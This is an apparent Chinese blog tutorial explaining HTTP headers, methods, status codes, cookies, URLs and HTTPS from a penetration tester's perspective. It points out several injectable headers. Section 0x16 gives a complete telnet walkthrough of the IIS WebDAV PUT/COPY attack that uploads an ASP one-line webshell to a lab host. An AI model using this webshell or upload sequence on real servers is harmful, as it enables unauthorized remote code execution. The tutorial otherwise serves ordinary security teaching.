从入侵者的眼中去理解 http 协议

0x01 前言
    不管对于web开发亦或是渗透来讲,熟练掌握http协议的核心运作要点都是入门必备科目,如果连这些最基础的东西都没掌握熟练,又何谈下一步呢,因为http会贯穿于后续整个web渗透过程,当然啦,就http协议本身来讲,还是非常非常复杂的,单单靠一篇文章就想全面透彻的掌握http协议,毕竟不太现实,所以我们今天也只是模拟站在一个专业入侵者的角度上来重新理解http协议最核心的一些点,中间也会穿插着说明这些点容易带来的一些安全问题,如果大家真的非常有兴趣,想继续深入学习http协议,建议参考 《http权威指南》,着实是本http方面的好书,起码,个人是这样觉得的,既然是说协议,也就意味着某些东西可能会有些抽象,不过大家不用担心,我会用尽量用最容易理解的方式把它说明白,废话到此为止,咱们开始

0x02 初始 http 简要工作过程
  客户端向web服务器请求所指定的资源(request) => web服务器(默认端口通常为80,8080)
  web服务器响应给客户端所请求的对应的资源数据(response) => 客户端(随机端口和目标web服务端口进行连接)
  简单来讲,http就是一套用来规定”请求(request)”和”响应(response)”的规范,以此来保证客户端和服务端能够正常的进行通信
  用白话来讲 客户端向服务器端请求,然后服务器端把被请求的东西交给客户端 这就算一次完整的http通信

0x03 理解http最基础的一些特性

1
2
3
4
5
简洁快速: 客户端只需要传输具体的 "请求方法" 和要请求的 "资源路径",服务器便可根据此快速把数据响应给客户端
灵 活: http 几乎可以传输 "任意类型" 的数据[支持什么样的类型都是被定义在MIME中的],比如:文本,视频,图片,压缩包,二进制程序等等……
无连接: 每次连接只处理一个请求,服务器处理完请求并收到客户端正确应答后,即立刻断开连接,这样可以大大的节省传输时间
无状态: 其实,说白点,就是客户端和服务器之间的每个连接都是相互独立的,彼此并不知道彼此的存在,所以,每个连接并不能相互依赖或者在彼此上附加数据,比如:
一个连接的数据没有处理完,那么它就必须再重新传,而不能继续再'断点'上累加,也就是所谓的 "http是无记忆的",不过在 http 1.1 会保持一个tcp连接

0x04 需要熟记的一些http请求头字段作用 [因为请求头对于我们来讲是可控的,所以针对http的利用大多也都集中在请求头中] :

1
2
http请求方法[常用的GET,POST,HEAD] 所请求的资源在服务器上的位置 所使用的http协议版本(1.1/1.0)
POST /drupal/?q=node&destination=node HTTP/1.1

1
2
指明host请求头[如果使用 http 1.1版本 必须指定该字段,它通常是目标域名,比如,如果有多个虚拟主机,我们就必须指定不同的域名才能访问到不同的网站目录]
Host: www.target.org
1
2
3
客户端操作系统和浏览器版本信息 [ 如果你是用浏览器发起的http请求,默认就会加上这些东西 ]
有些网站为了记录用户信息,可能会把这这儿的数据也一并记录到数据库中,最后可能会导致的结果就是,脚本在数据库中select这些数据的时候难免会被注入
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0
1
2
告诉服务器端,客户端可以接收那些格式的内容,下面表示可以接收html或xml文件
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
1
2
告诉服务器端,客户端所支持的语言环境,有很多带有多语言切换的国际版网站[如携程]很有可能就会根据此字段来判断客户端的语言环境,然后再返回对应语言的页面
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
1
2
3
告诉服务器端客户端支持哪种压缩方式,默认都是gzip,加快传输速度,不压缩服务器会直接返回文本,如果数据量比较大,可能会响应很慢,所以默认都会压缩再传输
Accept-Encoding: gzip, deflate[压缩算法]
Accept-Charset: 有时候你还会在请求头中看到这样的字段,它是用来指定客户端所支持的字符集
1
2
记录到达该页面的上一个url地址,这也是请求头中经常会被利用的一个字段,有时候程序也会把这个记录到数据库中,方便后续判断,同样的问题select的时候容易被注入
Referer: http://192.168.3.21/drupal/
1
2
很多web程序都会基于此字段把客户端的真实ip入库,还是一样问题,入库不免又要select,也就意味着可能被注入
x_forwarded_for
1
2
3
4
5
请求头中cookie信息,很显然,这里的cookie是没有任何参数的,有时候服务器端会把一些敏感参数都写到客户端cookie中做验证
尤其是一些带有用户功能的站点,cookie可能还包含了很多其他的参数
比如一些商城,论坛类的程序,既然cookie里面有动态参数,那我们不妨就针对这些参数下手,如,sql注入,cookie盗取伪造登录...
当然,关于cookie自身的属性还有很多,下面会再单独说,这里暂时先有个影响就好
Cookie: PHPSESSID=27112bba201d8add0ebbbf8dcdd2bde8; security_level=0; has_js=1
1
2
告诉服务器端,在完成客户端响应后先不要立马关闭当前tcp连接,close表示立即关闭,而KeepAlive的意思就是保持连接 [有规定时长,超过会自动断开]
Connection: close
1
2
指定消息主体中的内容类型,如,用url编码...
Content-Type: application/x-www-form-urlencoded
1
2
消息主体的内容长度,单位字节
Content-Length: 119
1
2
指明到达当前页面的原始位置在哪里,这也是个比较重要的字段,后续单独说明
origin:
1
2
http内置身份验证,向服务器端提交认证证书
authorization:
1
2
如果你想,多线程下载或者断点续传可以在请求头中加上该字段
range:
1
注意,这里还有个空格
1
2
POST消息主体[如果是GET请求,是没有消息主体的,它的参数都直接是放到url中传的],和get中的参数一样,一个key对应一个values
name=admin&pass=admin&form_build_id=form-s6S30NYh20X2pmy-P7R9ybb2fBLkfWlXzosu85DYtn4&form_id=user_login_block&op=Log+in

0x05 需要熟记的一些http请求方法:

1
2
3
4
5
6
7
8
9
10
GET 向服务器请求url中所标识的资源,有时候还会在要请求的资源上附带一些参数,供脚本到后端数据库去增删改查
POST 在向服务器请求资源的同时附加一些新的数据在消息主体中
常用于各种大数据表单提交,比如:上传,登录/注册,留言板,凡是有大量数据提交的地方基本都会用到
HEAD 只返回响应头部,不返回主体的html数据
PUT 尝试向服务器请求存储一个指定资源,如,经典的webdav 写漏洞
MOVE 向服务器请求移动某个资源
COPY 向服务器请求拷贝某个资源
DELETE 向服务器请求删除url所指定的资源
OPTIONS 通过此方法可帮助我们查询服务器支持哪些请求方法
通常,我们可以直接用这种方式来探测目标服务器是否支持一些高危方法 例如:put,delete,move,copy

1
2
3
4
5
6
7
8
9
10
11
12
13
下面是通过OPTIONS方法获取到的服务器响应结果:
HTTP/1.1 200 OK
Date: Thu, 23 Jun 2016 07:31:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Cache-Control: private

0x06 需要熟记的一些http响应头字段作用[对于响应头,我们可以直接利用的并不多,除了获取一些敏感信息外,别的暂时可能对我们实际作用并不是特别大]

1
2
响应的http版本号 响应的状态码
HTTP/1.1 200 OK

1
2
服务器端时间
Date: Fri, 17 Mar 2017 12:36:26 GMT
1
2
3
web服务器版本信息,比如,针对各种web服务器的解析漏洞利用,就需要事先知道明确的web服务器版本类型及其对应的详细版本号,然后再针对性的尝试利用
以apache和nginx为例,很多人为了安全起见,在编译安装就会在源码中把这些版本特征都改掉,或者在安装后通过修改配置文件把这些版本信息都隐藏掉
Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
1
2
web服务器端脚本信息,就php而言,不同的版本,一些漏洞的利用方法也是不一样的
X-Powered-By: PHP/5.2.4-2ubuntu5
1
2
是否缓存到浏览器
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
1
2
向客户端浏览器设置cookie,第一次设置完成后,后续客户端再来访问服务器会一直带着这个cookie
set-cookie:
1
2
P3P头主要用来保护用户隐私
P3P: CP=" OTI DSP COR IVA OUR IND COM "
1
2
表示是否允许通过跨域ajax请求获取资源
access-control-allow-origin
1
2
服务器可以通过此字段告诉浏览器定时刷新页面,用的非常少
refresh:
1
2
指定消息主体内容的缓存过期时间
Expires: Sun, 19 Nov 1978 05:00:00 GMT
1
2
告诉浏览器该资源的最后修改时间
Last-Modified: Fri, 17 Mar 2017 12:36:26 +0000
1
2
响应消息主体的语言,这还要看客户端请求头中的语言是什么
Content-Language: en
1
2
用于重定该响应,在php中有个header()函数和此功能类似
location: 指定要跳转到的地址
1
2
3
响应完成后是否立马关闭当前tcp连接
Connection: close
Keep-Alive: timeout=5, max=100
1
2
消息主体内容的格式和字符集
Content-Type: text/html; charset=utf-8
1
2
响应消息主体内容的长度,单位字节
Content-Length: 8114

0x07 需要熟记的一些 http 响应状态码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
200 表示客户端请求提交成功,并且服务端正常响应数据
比如:我们在成功上传webshell以后,会直接去访问url,根据返回,来判断shell是否执行成功,一般看下响应头就可以了,成功即返回200,如果被限制执行则可能会返回403
201 一般用put方法,成功在服务器端创建文件后都会返回这个状态码
301 请求的资源被找到,永久性的将请求重定向到location所指定的url上,后面的所有请求都将被重定向
302 请求的资源被找到,只是暂时性的将请求重定向到localtion所指定的url上,随后的请求将不再重定向
400 客户端提交了一个无效的http请求
401 表示你访问所请求的资源之前需要http身份验证,认证通过后才能访问该资源
403 禁止任何人访问该资源,有时候我们在盲打后台或者尝试注入的时候可能就会遇到这样的状态码,多半是因为禁止目录遍历或者waf拦截,再或者就是web端做了一些敏感检测策略[如,nginx配置就相当灵活,完全可以自定义返回状态码]
404 表示所请求的资源在服务器上不存在
405 当服务器不支持所请求的方法,一般都会返回这个状态码 例如:put copy move delete
413 有时候在测试缓冲区溢出时会返回此状态码
500 请求的资源在服务器端执行出错,比如,在请求时加了一些特殊字符,或者服务端脚本自身的语法出错,都会导致500
502 一般是由于网站连接过多,服务器暂时无法正常响应造成的
503 虽然web服务器运转正常,但后端的脚本程序无法做出响应

0x08 什么是 cookie
    除了正常的GET或者POST传参之外,cookie属于另一种传参方式,它无需用户或者应用干预,客户端和服务器的每次请求响应都会带上该cookie,需要注意的是,cookie是存在客户端浏览器的缓存或者硬盘上的临时文件中的,对于cookie中的一些敏感参数[如,账号密码…],一般都设有过期时间[过期会自动删除],当然你也可以手动删除,核心在于它是放在客户端的[导致可控],有可能就会造成泄露

需要了解的几个常见的cookie内置属性:

1
2
3
4
5
expires: 指定cookie过期时间
domain: 指定cookie有效作用域
path: 指定cookie有效的url
secure: 用于在https中提交的cookie
httponly: 设置此属性以后,可以一定程度上防止js直接读取cookie数据,现在为了防止cookie被盗,一般都会加上此字段,不过上次偶然看了一篇可以绕过httponly的文章,后续再单独说

0x09 session 又是什么东西呢
    由于http无状态,要想在服务器端标示跟踪每个不同的用户身份,我们就需要利用到session[其实就是cookie中的PHPSEESSIONID,作为用户唯一标示],比如,我们在写一些商城程序时,购物车中的数据都会被暂时写到session中,而session是被放在服务器端的[一般是/tmp目录下],导致用户不可控,相对安全一些,如果一个session长时间没有动作或者你突然关闭了浏览器,服务器会自动回收并销毁对应的sessionid,实际开发中,一般cookie和session都是相互配置使用的

0x10 GET 和 POST 的区别

1
2
GET 直接把参数放在url中传递,所以在url中可以看得到
POST 把数据附加在http消息主体里面进行传递,在url中是不可见的

注意:它们都有数据长度的限制,但这个并不是http协议本身的限制,它的长度还是取决于当前的操作系统和浏览器,有些漏洞的利用可能会用到这种特性,如,超长截断的问题,不仅仅在web脚本中会出现,数据库也同样会出现类似的问题

0x11 关于伪静态的( url重写 )问题
    本质就是利用正则,隐藏动态参数,加大外部攻击指定参数的难度,但这样做的主要目的还是为了更利于搜搜引擎抓取,提高用户体验,不过,在猜出对方正则的情况下,还是可以利用本地中转的方式进行检测

0x12 http 正向及反向代理

正向代理
    很多时候我们会遇到这样的情况,我们自己没法正常访问目标网站,但我们有一台可以正常访问目标网站,的机器,然后你可以把自己本地的代理改成那台机器的ip和指定端口,这样我们就可以通过那台机器来访问目标站了,主要还是数据流向

反向代理:
    最典型的应用可能就是ngnix了,当你去访问一比较大的电商站时[如,jd,当当],请求其实会先到达代理服务器,然后由代理服务器来分发给后台的其他web服务器处理,至于如何分发则由其内部的负载均衡算法决定,理解数据流向就好,关于架构后续有机会再单独说

0x13 了解完 http 最重要的内容以后,我们再来简单认识下,什么是 URL 和 URI
URI[统一资源标识符]作用:
    其实,就是专门用来标示互联网上所有计算机资源的字符串,当然这些资源不仅仅包括,文档,图像,视频,二进制程序……别人只需通过某种指定的协议以及资源所存放的主机名[ip或域名],资源自身的名称,资源在该主机下的具体路径就可以访问到该资源,所以互联网上的一切计算机资源都可以被称作URI,因此它所表示的范围非常大

例如:下面这些,它们都算URI

1
2
http://www.klionsec.org/detail.php?id=12&action=upload
<a href=mailto:klion@china.net>测试邮件</a>

URL[统一资源定位符]作用:
    只是用来唯一的标识某台计算机上的某个资源,它所能代表的范围相对比较小,URL只是URI的一部分或者说子集,也可以这么说每个URL肯定都是URI

URL的必要组成部分:

1
访问这个资源时所使用的协议: //主机名[一般是域名或者IP]:按规定好的端口去访问这个资源/具体的资源路径

注意:http默认的tcp端口是80,如果在浏览器中访问,浏览器会默认帮你加上80,所以你在url是看不到的
如果你要访问的是一个8080端口的web服务,那你就应该这样写 http://www.demo.com:8080/file.php?id=12
如果你要访问的是一个443端口的web服务,你就应该这样写 https://www.demo.com:/sslvpn
还有一些web服务可能并不在这些常见web端口上,尤其是目标的一些内部web服务,比如:http://oa.demo.com:12345/login.aspx

例如,下面这句话的意思就表示:
使用http协议去www.xxx.com这个主机上通过8080端口找到files目录下的xx.rar文件

1
http://www.xxx.com:8080/files/xx.rar

用于访问的协议还可以是:
ftp,http,file……

什么是url传参:
例如下面这个url:

1
http://www.xxx.com/news.php?id=12

这句话的意思就相当于,用http协议在www.xxx.com这个主机上找到news.php这个资源,并向这个资源传了一个名叫id的参数,参数的值为12
‘?’ 在这里的意思就是给news.php这个文件附加一个参数值,这个值一般都会通过后端脚本提交到数据库中去增删改查

如果要同时连续传递几个不同的参数给相应的资源,可以用 ‘&’ 进行连接,例如像下面这样:

1
http://wwww.xxx.com/news.php?id=12&uid=34

什么是相对URI/URL 和 绝对URI/URL[其实,跟绝对路径和相对路径差不多]:
绝对URI/URL:

1
http://www.xxx.com/images/logo.gif

相对URI/URL:

1
<a href="../../cat.jpg" alt="这是一只猫">猫</a>

其实,对于URL和URI的概念,大家不必太过纠结,你可以这样理解
    比如,我要去买一件T恤,首先,我要知道这件T恤在哪里有卖的[这件T恤就相当于我们要访问的那个计算机资源],当然,我们知道商场肯定有卖的对吧[商场就相当于我们要定位到的主机名],下一步,也许我们就会想到,该怎么去商场呢,徒步去,打的还是坐公交呢[去商场的方式就相当于我们要使用哪种协议去访问那个资源],到了商场以后我们还要知道这件T恤在哪家店铺里[就相当于我们要访问的这个资源在这台主机的哪个目录下],最后,你找到了那家店铺里的那件T恤[也就是你最终要访问的资源],网络中的所有资源访问基本都是类似,我们访问网络中的任何一个资源都需要有一个明确的’URI’[如果站到协议底层的角度来说它就不单单是’URI’了]来给我们指路,以找到我们所需要的资源

0x14 在http的基础上理解 https[TLS/SSL,默认web端口 443],这里只是先简单提一嘴,博客中还有一篇专门针对https的简单说明,大家可以去参考那个

1
2
3
4
5
6
7
8
9
10
11
1,浏览器将自己支持的一套加密规则发送给网站
2,网站从中选出一组加密算法与HASH算法,并将自己的身份信息以证书的形式返回给浏览器,证书里面包含了网站地址,加密公钥,以及证书的颁发机构等信息
3,浏览器获得网站证书之后就开始下面的动作:
a) 验证证书的合法性(颁发证书的机构是否合法,证书中包含的网站地址是否与正在访问的地址一致等),如果证书受信任,则浏览器栏里面会显示一个小锁头,否则会给出证书不受信的提示
b) 如果证书受信任,或者是用户接受了不受信的证书,浏览器会生成一串随机数的密码,并用证书中提供的公钥加密
c) 使用约定好的HASH算法计算握手消息,并使用生成的随机数对消息进行加密,最后将之前生成的所有信息发送给网站
4,网站接收浏览器发来的数据之后要做以下的操作
a) 使用自己的私钥将信息解密取出密码,使用密码解密浏览器发来的握手消息,并验证HASH是否与浏览器发来的一致
b) 使用密码加密一段握手消息,发送给浏览器
5,浏览器解密并计算握手消息的HASH,如果与服务端发来的HASH一致,此时握手过程结束,之后所有的通信数据将由之前浏览器生成的随机密码并利用对称加密算法进行加密
6,也许大家都很清楚,即使是https也并非一定那么安全,针对https的中间人利用[核心还是需要有一个受信任的证书],我们后续再单独说,这里就先大致了解下https的基本运作流程

0x15 说完http ,我们就来简单看下,如何快速发起一次http/https请求

1),利用原生的telnet

1
2
3
4
5
# telnet www.baidu.com 80
ctrl + ]
记得直接回车再开始输入下面的内容
GET / HTTP/1.1
HOST:WWW.BAIDU.COM

2),利用curl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-I 只返回HTTP头
-m 10 最多查询10s
-o 把输出提示信息都丢到null里面去,当然,只有在linux中才有null
-X 用指定http方法请求
win:
只返回响应头部信息
# curl -I www.dangdang.com
只返回响应的状态码
# curl -I -m 10 -o /dev/null -s -w %{http_code} www.dangdang.com
linux:
只返回响应的状态码
# curl -I -m 10 -o /dev/null -s -w %{http_code}"\n" www.baidu.com
# curl -I -m 10 -o /dev/null -s -w %{http_code}"\n" 192.168.3.189

3),在浏览器地址栏中直接输入目标域名回车访问即可

4),所有带有src,href属性的html标记,触发以后默认都会发起一次http请求

5),同样,利用nc同样也可以发起一次简单的http请求

1
# nc -v 192.168.3.3 80

6),手工发起一次https请求,手工发起http请求差不多,只需要先用证书

1
# openssl s_client -quiet -connect www.baidu.com:443

7),利用各类语言中的各种库函数也可发起http请求,例如php中的一些函数,如header(),location()….

0x16 为了简单回顾一下上述内容,我们就以古老的IIS写漏洞利用为例,通过telnet纯手工上传一个asp的webshell

首先,探测目标web服务器是否支持PUT,MOVE,COPY方法,很显然,这里是支持put的,因为我的webdav[可以理解为加强版的http,增加了很多方法]事先已经开启且网站目录可写,脚本资源亦可访问

1
2
3
4
# telnet 192.168.3.3 81
ctrl + ]
OPTIONS / HTTP/1.1
HOST:192.168.3.3

确认,服务器开启put方法以后,尝试请求写入一句话,最好用txt等一些iis默认不支持解析的文件名,要不然容易出问题

1
2
3
4
5
6
PUT /shell.txt HTTP/1.1
HOST:192.168.3.3
Content-Length:28
记住这里一定要记得换行才可以,http默认以空行作为请求的结束
<%execute request('klion')%>

最后,将创建好的shell复制重命名成脚本的后缀

1
2
3
COPY /shell.txt HTTP/1.1
HOST:192.168.3.3
Destination: http://192.168.3.3:81/shell.asp

0x17 我们再来粗略看下nginx的日志文件格式[当然啦,这个格式可以在nginx配置文件中自定义],其它的web服务器日志格式都基本类似,看日志主要是想让大家明白,我们干活的时候都会在目标留下些什么

1
2
192.168.3.70 - - [25/Jun/2017:17:49:14 +0800] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36" "-"
访问者的ip 访问时间用什么方法请求那个文件或目录资源返回的状态码 客户端浏览器信息

0x18 http 运作一次的粗略流程

1
2
3
4
5
-->四层tcp连接建立
-->七层http连接建立
-->客户端向web服务器发送http请求头部信息
-->等待web服务器返回响应头和所请求的资源数据,格式以content-type中规定的格式进行显示,空白行结束此次响应
-->随后,web服务器关闭当前tcp连接


一点小结:
    对于渗透来讲,我们需要熟练掌握http最重要的地方,一个是请求头中的各个字段作用,如,各种请求方法,cookie,user-agent,referer等……另一个就是响应头中的各个字段,如,状态码,server头,等……以及由此衍生出来的各种安全问题,时间有限,这里仅仅只是先带大家入个门,其实,就http协议本身内容还是非常多的,毕竟个人能力精力篇幅都很有限,所以不得不有所侧重,不对的地方还望大家多多指正……